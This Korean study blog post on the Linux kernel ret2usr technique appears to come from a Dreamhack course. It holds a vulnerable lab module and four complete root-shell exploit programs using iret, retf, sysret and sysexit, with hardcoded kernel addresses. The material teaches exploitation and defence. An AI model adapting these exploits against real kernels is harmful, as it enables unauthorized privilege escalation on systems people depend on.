- 리눅스 커널 익스플로잇에는 return to shellcode와 유사한 공격 기법으로 return to user(ret2usr)가 있다.
- ret2usr는 사용자 메모리 영역에 있는 코드를 실행하는 공격 기법이다.
- 공격자가 커널의 코드 영역에 악의적인 코드를 넣는 것은 거의 불가능하지만, 프로세스의 코드는 사용자가 임의로 작성할 수 있으므로 사용자 메모리에 악의적인 코드를 넣는 것은 비교적 쉽다.
- 공격자는 이러한 특징을 이용해서 커널에서 스택 버퍼 오버플로우를 발생시키고, 미리 컴파일해둔 악의적인 함수로 실행 흐름을 옮겨서 root권한을 획득할 수 있다.
ret2usr
- ret2usr는 커널 권한의 흐름을 획득할 수 있을 때, 이를 공격자가 작성한 악의적인 함수로 옮겨서 권한을 획득하는 공격 기법이다.
- SMEP, SMAP같은 메모리 보호 기법을 적용하지 않는 한 커널은 자유롭게 사용자 공간의 메모리에 접근하고 이를 실행할 수 있다.
Credential 조작
- 커널 권한으로 코드를 실행하면 프로세스의 권한을 root의 것으로 조작할 수 있다.
- prepare_kernel_cred, commit_creds함수로 권한을 상승시킬 수 있다고 배웠다.
- 공격자가 이러한 함수들을 호출하려면 먼저 이들의 주소를 알아내야 한다.
- KASLR이 활성화 되어 있다면 Leak과정이 필요하지만 실습의 편의를 위하여 함수 주소를 이미 구했다고 가정한다.
struct task_struct;
struct cred;
struct cred *(*prepare_kernel_cred)(struct task_struct *daemon) =
(void *) 0xffffffff81081716;
int (*commit_creds)(struct cred *new) =
(void *) 0xffffffff8108157b;
void ret2usr(void)
{
commit_creds(prepare_kernel_cred(NULL)); // 이 코드는 커널에서 실행됩니다.
}
- 위 코드는 commit_creds와 prepare_kernel_cred함수의 주소를 전역변수에 저장하고, 이 함수들을 사용해서 권한을 상승시키는 ret2usr함수가 구현되어있다.
- 스택 버퍼 오버플로우를 사용하여 커널의 권한으로 ret2usr함수를 실행시킬 수 있다면 현재 프로세스의 권한을 root권한으로 상승시킬 수 있다.
사용자 모드로의 전환
- 권한 상승을 마치고 쉘을 실행하면 root쉘을 획득할 수 있다.
- 하지만 ret2usr함수는 커널 모드로 실행될 것이기 때문에 사용자 모드 함수인 system함수를 바로 호출하면 환경이 맞지 않아 커널 패닉이 발생한다.
- 위와 같은 이유 때문에 root쉘을 획득하려면 권한을 상승시키고 사용자 모드로 돌아와서 system함수를 실행해야 한다.
- 64bit 환경에서 사용자 모드로 전환하려면 먼저 swapgs를 실행하고, iret, retf, sysret, sysexit중 하나를 실행해야 한다.
swapgs
- swapgs는 GSBase(MSR:0xC0000101)의 값을 KernelGSbase(MSR: 0xC0000102)의 값과 교환하는 명령어이다.
MSR이란 특정모델에만 존재하는 레지스터이다. 인텔은 실험적인 기능을 MSR로 구현하고 효과적이라 판단되면 다음 라인업의 CPU에도 탑재한다. 살아남은 MSR의 경우 Architectural MSR이라고 하며 MSR은 각각 고유한 이름과 기능, 인덱스 값을 가지고 있다.
- 64비트 환경에서 linux 커널은 GSBase의 값을 GS의 기준 주소로 사용하며, GSBase:Offset의 형식으로 GS영역을 참조한다.
- GS는 per-CPU라 불리는 특별한 구조체를 가리키고 있는데, 커널모드와 유저 모드는 서로 다른 per-CPU구조체를 사용한다.
- 사용자 모드에 있을 때 GSBase는 사용자의 GS기준 주소를, KernelGSBase는 커널의 GS기준 주소를 저장하고 있다.
- 시스템 콜이나 인터럽트가 발생해서 커널모드로 컨텍스트 스위칭이 일어날 때 swapgs를 실행해서 GSBase의 값을 KernelGSBase의 값과 교환한다.
- 그리고 필요한 커널 루틴을 모두 실행한 다음 다시 swapgs명령을 호출해서 GSBase의 값을 사용자의 것으로 교환하고, 사용자 모드로 복귀한다.
- 따라서 커널 익스플로잇을 마치고 사용자 모드로 전환하려면 GSBase값을 사용자의 GS값으로 교체해야 하기 때문에 swapgs를 실행해야 한다.
iret
- 인터럽트를 처리할 때, x86 CPU는 현재 실행 상태의 일부를 Trap Frame이라는 구조에 맞춰서 스택에 저장한다.
- 64비트 기준으로 이는 RIP, CS, RFLAGS, RSP, SS레지스터 값으로 이루어진다.
- 인터럽트 처리를 마친 후에 iret을 실행하면 CPU는 스택에 저장해둔 Trap Frame을 이용해서 원래의 실행 상태를 복구한다.
- 공격자가 스택에 적절하게 Trap Frame을 구성하고 iret을 실행하면 사용자 모드로 전환이 가능하다.
- Trap Frame을 구성하는 값
- RIP는 사용자 모드로 전환하고 실행할 코드의 주소를 지정한다.
- RSP는 사용할 스택 포인터의 주소를 지정한다.
- RFLAGS 레지스터는 0x202로 설정하면 된다. 여기서 비트 9(29, 0x200)는 IF flag라고 하며 인터럽트를 활성화한다. 비트 1(21, 0x2)은 항상 1로 설정해야 한다.
- CS와 SS는 세그먼트 레지스터로 값이 고정되어 있다. 64bit에서는 CS=0x33, SS=0x2b로 설정하면 된다.
/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void) {
system("/bin/sh");
_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void) {
/* IRET에서 사용할 트랩 프레임을 정적으로 할당합니다. */
static struct trap_frame {
void *rip;
uint64_t cs; /* 실제로는 하위 16비트만 사용됨 */
uint64_t rflags;
void *rsp;
uint64_t ss; /* 실제로는 하위 16비트만 사용됨 */
} tf = {
.rip = &shell, /* IRET에서 리턴할 함수 주소 */
.cs = 0x33, /* IRET 이후 CS 레지스터 값 */
.rflags = 0x202, /* IRET 이후 RFLAGS 레지스터 값 */
.rsp = dummy_stack + 512, /* IRET 이후 스택 포인터 */
.ss = 0x2b /* IRET 이후 SS 레지스터 값 */
};
volatile register uint64_t RSP asm("rsp"); /* RSP 레지스터를 변수로 씁니다. */
commit_creds(prepare_kernel_cred(0)); /* 권한을 상승시킵니다. */
RSP = (uint64_t)&tf; /* 스택 포인터를 트랩 프레임에 위치시킵니다. */
asm volatile(
"cli\n\t" /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
"swapgs\n\t" /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
"iretq" /* IRET 명령을 실행합니다. */
:: "r" (RSP) /* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
);
}
retf
- 사용자 모드로 전환할 때 retf명령을 사용할 수도 있다.
- retf는 스택에 저장해둔 RIP와 CS값을 사용하며, 사용자 모드로 전환할때는 RSP와 SS값도 추가로 사용한다.
- 따라서 iret에서 사용한 Trap Frame에서 RFLAGS만 제외하면 그대로 사용할 수 있다.
- 이를 Far Return Frame이라고 하면 구성하는 값은 다음과 같다.
- RIP는 사용자 모드로 전환하고 실행할 코드의 주소를 지정한다.
- RSP는 사용할 스택 포인터의 주소를 지정한다.
- CS와 SS는 값이 고정되어 있다. 64bit에서는 CS=0x33, SS=0x2b로 동일하다.
/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void) {
system("/bin/sh");
_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
/* RETF에서 사용할 Far Return 프레임을 정적으로 할당합니다. */
static struct far_return_to_outer_ring_frame {
void *rip;
uint64_t cs; /* 실제로는 하위 16비트만 사용됨 */
void *rsp;
uint64_t ss; /* 실제로는 하위 16비트만 사용됨 */
} frf = {
.rip = &shell, /* RETF에서 리턴할 함수 주소 */
.cs = 0x33, /* RETF 이후 CS 레지스터 값 */
.rsp = dummy_stack + 512, /* RETF 이후 스택 포인터 */
.ss = 0x2b /* RETF 이후 SS 레지스터 값 */
};
volatile register uint64_t RSP asm("rsp"); /* RSP 레지스터를 변수로 씁니다. */
commit_creds(prepare_kernel_cred(0)); /* 권한을 상승시킵니다. */
RSP = (uint64_t)&frf; /* 스택 포인터를 Far Return 프레임에 위치시킵니다. */
asm volatile(
"cli\n\t" /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
"swapgs\n\t" /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
"retfq" /* RETF 명령을 실행합니다. */
:: "r" (RSP) /* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
);
}
- iret 코드와 비슷하다.
- 그냥 RFLAG값 빠지고 retfq로 명령어 바뀐거 밖에 없다.
sysret
- sysret은 RCX를 RIP로, R11을 RFLAGS로 복사한 후 사용자 모드로 복귀하는 명령어 이다.
- 사용자 모드의 프로세스가 syscall명령어로 시스템 콜을 요청했을 때 CPU는 RIP를 RCX에, RFLAGS를 R11에 저장한 후 syscall의 진입점으로 실행흐름을 이동시킨다.
- 요청된 syscall을 처리한 후에 sysret명령으로 원래의 실행흐름으로 복귀한다.
- iret이나 retf와는 다르게 sysret은 레지스터 값을 사용한다.
- sysret을 실행하기 전 설정해야 하는 레지스터 값은 다음과 같다.
- RCX는 실행할 사용자 영역의 코드 주소를 지정한다.
- RSP는 리턴 후 스택 포인터로 사용할 주소를 지정한다. RSP값은 sysret이 변경해 주지 않으므로 직접 설정해야 한다.
- R11레지스터는 0x202로 설정한다. iret과 동일한 설명
/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void) {
system("/bin/sh");
_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void) {
/* CPU 레지스터와 1:1 대응하는 변수를 선언합니다. */
volatile register uint64_t R11 asm("r11"), RCX asm("rcx"), RSP asm("rsp");
commit_creds(prepare_kernel_cred(0)); /* 권한을 상승시킵니다. */
R11 = 0x202; /* SYSRET 이후 RFLAGS 레지스터 값을 지정합니다. */
RCX = (uint64_t)shell; /* SYSRET 이후 리턴할 함수 주소를 지정합니다. */
RSP = (uint64_t)(dummy_stack + 512); /* 스택 포인터를 사용자 영역의 버퍼에 위치시킵니다. */
asm volatile(
"cli\n\t" /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
"swapgs\n\t" /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
"sysretq" /* SYSRET 명령을 실행합니다. */
/* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
:: "r" (R11), "r" (RCX), "r" (RSP)
);
}
- 확실히 코드가 간단하다.
- 필요한 레지스터만 세팅 후 sysret을 실행한다.
sysexit
- sysexit은 RCX를 RSP로, RDX를 RIP로 복사하고 사용자 모드로 복귀하는 명령어이다.
- 일반적으로 sysenter로 커널 모드에 진입했을 때 사용자 모드로 돌아가기 위해 sysexit을 사용한다.
- sysexit은 sysret과 마찬가지로 레지스터를 사용한다.
- sysexit을 위해 설정해야 하는 레지스터는 다음과 같다.
- RCX는 사용자 모드로 전환하고 스택 포인터로 사용할 주소를 지정한다.
- RDX는 실행할 사용자 영역의 코드 주소를 지정한다.
- sysexit의 경우 원칙적으로 32비트에서만 사용할 수 있지만, 32비트 호환기능이 활성화되어 있다면 64비트 커널에서도 사용할 수 있다.
- 하지만 64비트에서 사용할 경우 다음 경우를 조심해야 한다.
- AMD CPU에서는 sysexit으로 32비트 사용자 모드로만 복귀 가능. 64비트 사용자 모드로 복귀하는 것은 intel만 가능하다.
- 64비트 사용자 모드로 복귀 후에 SS레지스터가 무효한 값으로 설정되기 때문에 이를 다시 복구해주어야 한다.
/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* shell_thunk에서 SS 복구 후 호출되는 함수입니다. */
void shell(void) {
system("/bin/sh");
_exit(0);
}
/* ret2usr에서 사용자 모드로 반환한 후 shell_thunk 함수가 실행됩니다. */
__attribute__((naked)) void shell_thunk(void) {
asm volatile(
/* SS 레지스터를 복구합니다. */
"mov ax, 0x2b\n\t"
"mov ss, ax\n\t"
/* shell 함수로 이동합니다. */
"jmp shell"
);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
/* CPU 레지스터와 1:1 대응하는 변수를 선언합니다. */
volatile register uint64_t RCX asm("rcx"), RDX asm("rdx");
commit_creds(prepare_kernel_cred(0)); /* 권한을 상승시킵니다. */
RCX = (uint64_t)(dummy_stack + 512); /* 스택 포인터를 사용자 영역의 버퍼에 위치시킵니다. */
RDX = (uint64_t)shell_thunk; /* SYSEXIT 이후 리턴할 함수 주소를 지정합니다. */
asm volatile(
"cli\n\t" /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
"swapgs\n\t" /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
"rex.W sysexit" /* SYSEXIT 명령을 64비트 모드로 실행합니다. */
/* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
:: "r" (RCX), "r" (RDX)
);
}
- 코드를 보면 RDX레지스터에 shell_thunk어셈 주소를 저장해서 실행하는데 sysexit이 끝나고 ss레지스터를 복구한 후 shell함수로 jmp하는 것을 볼 수 있다.
실습
취약점 조사
/* 사용자 모드 프로세스가 /proc/lke-ret2usr 파일에 쓰기 요청을
* 보낼 때 이를 처리하기 위해 호출되는 함수입니다.
*
* @file: 쓰기 요청을 받은 FD의 파일 디스크립션을 나타내는 구조체입니다.
* @buf: 파일에 쓰고자 하는 데이터를 저장하는 버퍼의 주소입니다.
* 사용자 주소공간에 위치한 주소이며,
* 직접 접근하는 대신 반드시 copy_from_user와 같은 함수를 사용하여
* 먼저 커널 영역으로 복사한 후 사용하여야 합니다.
* @count: 파일에 쓰고자 하는 데이터의 바이트 단위 크기입니다.
* @ppos: 데이터가 씌어질 파일 내 위치를 저장하는 변수를 가리키는 포인터입니다.
* 작업 완료 후 *ppos를 복사된 바이트수만큼 증가시키면,
* 다음 write 호출에서 업데이트된 *ppos값이 다시 입력됩니다.
*
* 리턴값: 성공 시, 쓰여진 바이트 수를 반환합니다.
* 실패 시, 음수 errno 값을 반환합니다. (예: -EIO)
*/
static ssize_t ret2usr_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos)
{
/* 커널 스택 버퍼를 할당합니다. */
char kern_buf[256] = { 0, };
/* 사용자로부터 전달받은 주소의 값을 커널 스택 버퍼로 복사합니다. */
if (_copy_from_user(kern_buf, buf, count) != 0)
return -EFAULT;
/* 작업이 성공했음을 나타냅니다. */
return count;
}
- 중요 부분 발췌
- /proc/ret2usr에 값을 쓸때 동작하는 스택 버퍼 오버플로우 취약점이 발생하는 함수
- 커널에서 사용자 공간의 메모리를 커널 공간으로 복사하기 위해서 copy_from_user함수를 사용한다.
- 반대로 커널 공간 메모리를 사용자 공간으로 복사할 때는 copy_to_user함수를 사용한다.
unsigned long copy_from_user (void * to, const void __user * from, unsigned long n);
unsigned long copy_to_user (void __user * to, const void * from, unsigned long n);
- 위는 함수의 원형이다.
- ret2usr_write함수에서는 _copy_from_user함수는 사용자가 입력한 count값 만큼 kern_buf에 데이터를 복사한다.
- 하지만 kern_buf의 크기는 256바이트로, 사용자가 256바이트보다 더 큰 값을 파일에 쓰려고 하면 스택 버퍼 오버플로우가 발생한다.
__user는 사용자 영역의 주소가 들어올 것으로 예상되는 변수를 명시하기 위해 사용하는 매크로이다. 이 매크로를 사용하면 커널 개발자는 사용자 공간 주소의 흐름을 쉽게 파악할 수 있고, 사용자 공간의 주소를 직접 참조하는 실수를 예방할 수 있다.
취약점 트리거
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
int main(void)
{
int fd = open("/proc/lke-ret2usr", O_WRONLY);
if (fd < 0){
perror("open");
return 0;
}
char payload[512];
memset(payload, 'A', sizeof(payload));
write(fd, payload, sizeof(payload));
return 0;
}
- 모듈에서 등록하는 /proc/lke-ret2usr를 open함수로 열어 fd에 저장하고 fd에 write함수로 kern_buf에 버퍼 오버플로우가 일어나는 길이의 값을 쓰게 되면 커널 패닉이 발생하는 PoC이다.
- CTF할때 커널안에는 gcc가 없으니 로컬에서 static으로 컴파일하고 넣는 습관을 들이자.
- RIP가 0x4141414141...로 조작된것이 보인다.
익스플로잇
#include <unistd.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
struct task_struct;
struct cred;
static struct cred *(*prepare_kernel_cred)(struct task_struct *daemon) =
(void *) 0xffffffff81081716;
static int (*commit_creds)(struct cred *new) =
(void *) 0xffffffff8108157b;
/*
* ret2usr 이후 스택으로 사용될 버퍼입니다.
* __attribute__((aligned(16)))은 system() 함수가 정상 동작하기 위해 필요합니다.
*/
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void)
{
system("/bin/sh");
_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
/* CPU 레지스터와 1:1 대응하는 변수를 선언합니다. */
volatile register uint64_t R11 asm("r11"), RCX asm("rcx"), RSP asm("rsp");
commit_creds(prepare_kernel_cred(0)); /* 권한을 상승시킵니다. */
R11 = 0x202; /* SYSRET 이후 RFLAGS 레지스터 값을 지정합니다. */
RCX = (uint64_t)shell; /* SYSRET 이후 리턴할 함수 주소를 지정합니다. */
RSP = (uint64_t)(dummy_stack + 512); /* 스택 포인터를 사용자 영역의 버퍼에 위치시킵니다. */
asm volatile(
"cli\n\t" /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
"swapgs\n\t" /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
"sysretq" /* SYSRET 명령을 실행합니다. */
/* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
:: "r" (R11), "r" (RCX), "r" (RSP)
);
}
int main(void)
{
int fd;
char payload[0x118];
/* 취약한 모듈과 통신할 수 있는 가상 파일을 엽니다. */
fd = open("/proc/lke-ret2usr", O_WRONLY);
if (fd < 0) { perror("open"); return EXIT_FAILURE; }
memset(payload, 'A', 0x110);
/* 리턴주소를 ret2usr 함수로 덮습니다. */
*(uint64_t *)(payload + 0x110) = (uint64_t)ret2usr;
/* 익스플로잇을 실제로 수행합니다. */
write(fd, payload, sizeof(payload));
/* 익스플로잇이 성공했으면 write() 함수는 리턴하지 않습니다. */
abort();
}
- sysret을 사용하여 ret2usr 공격을 수행하는 소스코드이다.
- KASLR에서 바꿔놓은 nokaslr 설정을 원복하고 실행시켜야 한다.
// gcc -o exploit exploit.c
#include <unistd.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
struct task_struct;
struct cred;
static struct cred *(*prepare_kernel_cred)(struct task_struct *daemon) =
(void *) 0xffffffff81081716;
static int (*commit_creds)(struct cred *new) =
(void *) 0xffffffff8108157b;
/*
* ret2usr 이후 스택으로 사용될 버퍼입니다.
* __attribute__((aligned(16)))은 system() 함수가 정상 동작하기 위해 필요합니다.
*/
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void)
{
system("/bin/sh");
_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
/* RETF에서 사용할 Far Return 프레임을 정적으로 할당합니다. */
static struct far_return_to_outer_ring_frame {
void *rip;
uint64_t cs; /* 실제로는 하위 16비트만 사용됨 */
void *rsp;
uint64_t ss; /* 실제로는 하위 16비트만 사용됨 */
} frf = {
.rip = &shell, /* RETF에서 리턴할 함수 주소 */
.cs = 0x33, /* RETF 이후 CS 레지스터 값 */
.rsp = dummy_stack + 512, /* RETF 이후 스택 포인터 */
.ss = 0x2b /* RETF 이후 SS 레지스터 값 */
};
volatile register uint64_t RSP asm("rsp"); /* RSP 레지스터를 변수로 씁니다. */
commit_creds(prepare_kernel_cred(0)); /* 권한을 상승시킵니다. */
RSP = (uint64_t)&frf; /* 스택 포인터를 Far Return 프레임에 위치시킵니다. */
asm volatile(
"cli\n\t" /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
"swapgs\n\t" /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
"retfq" /* RETF 명령을 실행합니다. */
:: "r" (RSP) /* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
);
}
int main(void)
{
int fd;
char payload[0x118];
/* 취약한 모듈과 통신할 수 있는 가상 파일을 엽니다. */
fd = open("/proc/lke-ret2usr", O_WRONLY);
if (fd < 0) { perror("open"); return EXIT_FAILURE; }
memset(payload, 'A', 0x110);
/* 리턴주소를 ret2usr 함수로 덮습니다. */
*(uint64_t *)(payload + 0x110) = (uint64_t)ret2usr;
/* 익스플로잇을 실제로 수행합니다. */
write(fd, payload, sizeof(payload));
/* 익스플로잇이 성공했으면 write() 함수는 리턴하지 않습니다. */
abort();
}
- retf 공격코드
// gcc -o exploit exploit.c
#include <unistd.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
struct task_struct;
struct cred;
static struct cred *(*prepare_kernel_cred)(struct task_struct *daemon) =
(void *) 0xffffffff81081716;
static int (*commit_creds)(struct cred *new) =
(void *) 0xffffffff8108157b;
/*
* ret2usr 이후 스택으로 사용될 버퍼입니다.
* __attribute__((aligned(16)))은 system() 함수가 정상 동작하기 위해 필요합니다.
*/
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void)
{
system("/bin/sh");
_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
/* IRET에서 사용할 트랩 프레임을 정적으로 할당합니다. */
static struct trap_frame {
void *rip;
uint64_t cs; /* 실제로는 하위 16비트만 사용됨 */
uint64_t rflags;
void *rsp;
uint64_t ss; /* 실제로는 하위 16비트만 사용됨 */
} tf = {
.rip = &shell, /* IRET에서 리턴할 함수 주소 */
.cs = 0x33, /* IRET 이후 CS 레지스터 값 */
.rflags = 0x202, /* IRET 이후 RFLAGS 레지스터 값 */
.rsp = dummy_stack + 512, /* IRET 이후 스택 포인터 */
.ss = 0x2b /* IRET 이후 SS 레지스터 값 */
};
volatile register uint64_t RSP asm("rsp"); /* RSP 레지스터를 변수로 씁니다. */
commit_creds(prepare_kernel_cred(0)); /* 권한을 상승시킵니다. */
RSP = (uint64_t)&tf; /* 스택 포인터를 트랩 프레임에 위치시킵니다. */
asm volatile(
"cli\n\t" /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
"swapgs\n\t" /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
"iretq" /* IRET 명령을 실행합니다. */
:: "r" (RSP) /* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
);
}
int main(void)
{
int fd;
char payload[0x118];
/* 취약한 모듈과 통신할 수 있는 가상 파일을 엽니다. */
fd = open("/proc/lke-ret2usr", O_WRONLY);
if (fd < 0) { perror("open"); return EXIT_FAILURE; }
memset(payload, 'A', 0x110);
/* 리턴주소를 ret2usr 함수로 덮습니다. */
*(uint64_t *)(payload + 0x110) = (uint64_t)ret2usr;
/* 익스플로잇을 실제로 수행합니다. */
write(fd, payload, sizeof(payload));
/* 익스플로잇이 성공했으면 write() 함수는 리턴하지 않습니다. */
abort();
}
- iret 공격 코드
// gcc -o exploit exploit.c -masm=intel
#include <unistd.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
struct task_struct;
struct cred;
static struct cred *(*prepare_kernel_cred)(struct task_struct *daemon) =
(void *) 0xffffffff81081716;
static int (*commit_creds)(struct cred *new) =
(void *) 0xffffffff8108157b;
/*
* ret2usr 이후 스택으로 사용될 버퍼입니다.
* __attribute__((aligned(16)))은 system() 함수가 정상 동작하기 위해 필요합니다.
*/
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* shell_thunk에서 SS 복구 후 호출되는 함수입니다. */
void shell(void)
{
system("/bin/sh");
_exit(0);
}
/* ret2usr에서 사용자 모드로 반환한 후 shell_thunk 함수가 실행됩니다.
* __attribute__((naked))는 push rbp; mov rbp, rsp와 같은 프롤로그를 없애기 위해 필요합니다.
*/
__attribute__((naked)) void shell_thunk(void)
{
asm volatile(
/* SS 레지스터를 복구합니다. */
"mov ax, 0x2b\n\t"
"mov ss, ax\n\t"
/* shell 함수로 이동합니다. */
"jmp shell"
);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
/* CPU 레지스터와 1:1 대응하는 변수를 선언합니다. */
volatile register uint64_t RCX asm("rcx"), RDX asm("rdx");
commit_creds(prepare_kernel_cred(0)); /* 권한을 상승시킵니다. */
RCX = (uint64_t)(dummy_stack + 512); /* 스택 포인터를 사용자 영역의 버퍼에 위치시킵니다. */
RDX = (uint64_t)shell_thunk; /* SYSEXIT 이후 리턴할 함수 주소를 지정합니다. */
asm volatile(
"cli\n\t" /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
"swapgs\n\t" /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
"rex.W sysexit" /* SYSEXIT 명령을 64비트 모드로 실행합니다. */
/* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
:: "r" (RCX), "r" (RDX)
);
}
int main(void)
{
int fd;
char payload[0x118];
/* 취약한 모듈과 통신할 수 있는 가상 파일을 엽니다. */
fd = open("/proc/lke-ret2usr", O_WRONLY);
if (fd < 0) { perror("open"); return EXIT_FAILURE; }
memset(payload, 'A', 0x110);
/* 리턴주소를 ret2usr 함수로 덮습니다. */
*(uint64_t *)(payload + 0x110) = (uint64_t)ret2usr;
/* 익스플로잇을 실제로 수행합니다. */
write(fd, payload, sizeof(payload));
/* 익스플로잇이 성공했으면 write() 함수는 리턴하지 않습니다. */
abort();
}
- sysexit 공격 코드
- 이 코드는 Intel CPU에서만 동작하고 AMD CPU에서는 커널 패닉이 발생한다.
- 실습 VM의 경우 AMD CPU를 에뮬레이션하고 있기 때문에, -cpu 옵션을 qemu64에서 kvm64로 바꿔야 한다.
- 위 익스 코드 중 하나를 컴파일해서 실행해보면 root 쉘을 획득할 수 있다.
'Pwn > Kernel Security' 카테고리의 다른 글
[Pwn] Dreamhack - 7.Exploit Tech: Kernel Leak (0) | 2024.01.07 |
---|---|
[Pwn] Dreamhack - 6.Mitigation: KASLR (0) | 2024.01.07 |
[Pwn] Dreamhack - 5.Exploit Tech: prepare & commit (1) | 2024.01.07 |
[Pwn] Dreamhack - 4.Background: Tasks (0) | 2024.01.06 |
[Pwn] Dreamhack - 3.Background: Kernel Debugging (0) | 2024.01.06 |